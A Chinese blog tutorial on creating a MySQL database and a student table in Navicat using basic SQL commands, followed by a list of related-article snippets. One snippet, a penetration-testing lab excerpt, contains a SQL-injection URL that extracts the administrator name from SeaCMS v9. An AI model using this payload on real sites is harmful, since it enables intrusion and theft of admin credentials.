数据库(MySQL):使用命令从零开始在Navicat创建一个数据库及其数据表(一).创建基础表

一. 使用工具和命令

1.1 使用的工具

Navicat Premium 17 :“Navicat”是一套可创建多个连接的数据库管理工具。

MySQL版本8.0.39 。

1.2 使用的命令

Navicat中使用的命令

命令

命令解释

SHOW DATABASES;

展示所有的数据库

CREATE DATABASE 数据库名称;

创建指定数据库

DROP DATABASE 数据库名称;

删除指定数据库

CREATE TABLE 表名 (列名1 数据类型 [约束], 列名2 数据类型 [约束], …) ;

创建数据表

ALTER TABLE 表名 ADD 列名 数据类型 [约束];

在表格中插入一列

INSERT INTO table_name (column1, column2, column3, …)
VALUES (value1, value2, value3, …);

给数据表插入数据

二. 新建链接

2.1点击“连接”

初始界面点击“连接”。

2.2 直接点击“下一步”就好

2.3 完成创建

2.4 查看链接

三. 使用命令创建一个数据库

3.1 点击新建查询

3.2 输入命令介绍

PS: 数据库名,数据表名,字段名都不允许出现任何大写字母。

代码解释
SHOW DATABASE;  /*展示连接下所有的数据库*/

3.3 命令执行顺序

PS: 命令执行完成之后需要在左侧导航栏右键刷新才能显示出结果。

存在多条命令的时候,会按照顺序执行命令,在结果区域会显示已处理的查询,成功,失败。已处理的查询:代表的命令的总数量。成功:代表命令执行成功的数量。失败:代表命令执行失败的数量。

选中一部分命令之后,红色框内由原来的运行,变为了“运行已选择的”。点击之后,依然需要刷新。

删除之前的测试语句。

代码解释
CREATE DATABASE class_one;     /* 创建名为 class_one 的数据库*/
CREATE DATABASE test;    /* 创建名为 test 的数据库*/
CREATE DATABASE test_one;    /* 创建名为 test_one 的数据库*/DROP DATABASE test;    /* 删除名为 test 的数据库*/
DROP DATABASE test_one;    /* 删除名为 test_one 的数据库*/

四. 创建一个数据表

4.1 选择数据库

USE class_one; /* 使用数据库名 */

4.2 创建数据表

CREATE TABLE student(
id INT(4),
name VARCHAR(20),
sex char(1));

创建有三个字段的数据表。

双击红色框查看表的状态。

4.3 给数据表补充字段

ALTER TABLE student ADD age int(4);

给数据表增加一个名为“age”的列,整型。

注意:int(4) 不是最大长度为4,有兴趣的可以自己查一下。

4.4 给数据表插入数据

INSERT INTO student
(id,name,sex,age)
VALUES
(‘1’,‘张三’,‘男’,‘18’);

给数据表插入数据

INSERT INTO 数据表名字 (第一列, 第二列, 第三列, …)
VALUES (符合第一列的值, 符合第二列的值, 符合第三列的值, …);

查看生成数据情况

INSERT INTO student (id,name,sex,age) VALUES (‘2’,‘李四’,‘男’,‘18’);

与前文的作用相同。只是需要把换行换为空格

五. 创建成果展示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/24146.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

deepseek清华大学第二版 如何获取 DeepSeek如何赋能职场应用 PDF文档 电子档(附下载)

deepseek清华大学第二版 DeepSeek如何赋能职场 pdf文件完整版下载 https://pan.baidu.com/s/1aQcNS8UleMldcoH0Jc6C6A?pwd1234 提取码: 1234 或 https://pan.quark.cn/s/3ee62050a2ac

【Linux Oracle】time命令+oracle exp压缩

Linux && Oracle相关文档,希望互相学习,共同进步 风123456789~-CSDN博客 1.说明 Linux中的time命令:主要用于测量命令的执行时间,并显示该命令在执行过程中所使用的系统资源情况,如CPU时间、内存和…

游戏引擎学习第123天

仓库:https://gitee.com/mrxiao_com/2d_game_3 黑板:线程同步/通信 目标是从零开始编写一个完整的游戏。我们不使用引擎,也不依赖任何库,完全自己编写游戏所需的所有代码。我们做这个节目不仅是为了教育目的,同时也是因为编程本…

MCP协议

原理讲解 基础概念 Introduction - Model Context Protocol MCP Host:想要通过 MCP 访问数据的程序,例如 Claude Desktop、IDE 或 AI 工具MCP Clients:与服务器保持 1:1 连接的协议客户端MCP Servers:轻量级程序,每个…

Maven环境搭建

Maven 1. 概述 ApacheMaven是一个软件项目管理和构建工具。基于项目对象模型(POM)的概念,Maven可以从中心信息中管理项目的构建、报告和文档 理解: maven构建项目(100%)而且帮你完成jar的统一管理。 思考: 原来的jar—…

llaMa模型的创新

LLaMa介绍 LLaMa是基于transformer encoder的生成式模型。 目前有:LLAMA, LLAMA2, LLAMA3 三个大的版本 论文 LLAMA 2: Open Foundation and Fine-Tuned Chat Models: https://arxiv.org/pdf/2307.09288 LLAMA 3: The Llama 3 Herd of Models https…

渗透测试实验

1、seacmsv9注入管理员密码 获取管理员账号(name) http://www.test2.com/comment/api/index.php?gid1&page2&rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),%27 2、获取管理员密码 http://www…

文心一言AI创意画

介绍 文心一言是百度推出的新一代知识增强大语言模型,属于文心大模型家族的新成员。‌它能够与人对话互动、回答问题、协助创作,高效便捷地帮助人们获取信息、知识和灵感。‌ 特点 文心一言基于数万亿数据和数千亿知识进行融合学习,采用预训…

安装VM和Centos

安装VM 一、打开虚拟机 二、选择典型 三、选择光盘 四、指定虚拟机位置 五、设置磁盘大小并拆分为多个文件 六、完成 安装Centos 一、上述过程完成后我们直接打开虚拟机 二、语言选择中文 三、默认安装位置并点击完成 四、点击开始安装 五、点击设置密码 设置完密码后点击完成…

优选算法大集合(待更新)

1.双指针 1.1.移动零 leetcode链接:283. 移动零 - 力扣(LeetCode)​​​​​​ 移动零的问题我们可以将它归类为数组划分的问题,我们将数组划分为非零部分和零部分。我们会使用到双指针的算法,在这里,我…

微信小程序面试题

微信小程序面试题 微信小程序页面的生命周期函数主要包括哪些? onLoad: 页面加载时触发。一个页面只会调用一次,可以在onLoad的参数中获取打开当前页面路径中的参数。 onShow: 页面显示时触发调用。 onReady: 页面初次渲染完成时触发,一个页面只会调…

Git详解及常用命令

一、Git概述 官网:https://git-scm.com/ 安装:安装适合自己的版本,默认安装即可 使用:选择一个文件夹,右键,当出现:Git Bash后说明安装成功,后续使用都是基于Git Bash Git简介 G…

MongoDB 面试题目

一、基础概念 MongoDB 的特点是什么? MongoDB是一种NoSQL数据库,具有以下特点: 文档存储模型 MongoDB 使用 BSON(Binary JSON) 格式存储数据,数据以文档的形式组织,类似于JSON对象。文档可以包…

路由追踪核心技术深度解析:Traceroute与Tracert命令实战指南(跨平台/抓包/网络安全防护)

目录 路由器是什么? 路由器的基本功能: 路由追踪技术(Traceroute) 路由追踪的工作原理 实现技术 路由追踪的输出示例 路由追踪的用途 traceroute 命令(Linux 和 macOS) 基本语法 常用选项 示例 …

4部署kibana:5601

kibana 是一个基于浏览器页面的Elasticsearch前端展示工具,, 是一个开源和免费的工具 Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面, 可以帮你汇总、分析和搜索重要数据日志 1.安装-所有的es节点 # tar xf kibana-6.4.1-linux-x86_64.t…

数据结构与算法-图论-最短路和其他的结合

介绍 最短路算法常与深度优先搜索(DFS)、动态规划(DP)、二分答案、拓扑排序等算法结合使用: - 最短路与DFS结合:在一些图的路径问题中,当需要访问特定的多个结点,且数据范围较小时…

AOP基础-01.快速入门

一.AOP 对于统计每一个业务方法的耗时这一操作,如果再业务层的每一个方法前获取方法运行的开始时间,方法结束获取结束时间,然后计算执行耗时,那这样就太繁琐了。能不能定义一个模板方法,使得该方法能够在业务层的方法执…

【笔记】redis回忆录(未完 重头过一遍)

了解 redis在linux上运行 没有window版本 有也是微软自己搞的 (一)安装与修改配置 1.在linux虚拟机上 安装gcc依赖 然后再usr/local/src解压在官网下载好的redis安装包 直接拖进去 tar -zxvf 安装包名字 tab键补齐 解压成功 进入软件 并执行编译命令…

Android OpenGLES2.0开发(十一):渲染YUV

人生如逆旅,我亦是行人 Android OpenGLES开发:EGL环境搭建Android OpenGLES2.0开发(一):艰难的开始Android OpenGLES2.0开发(二):环境搭建Android OpenGLES2.0开发(三&am…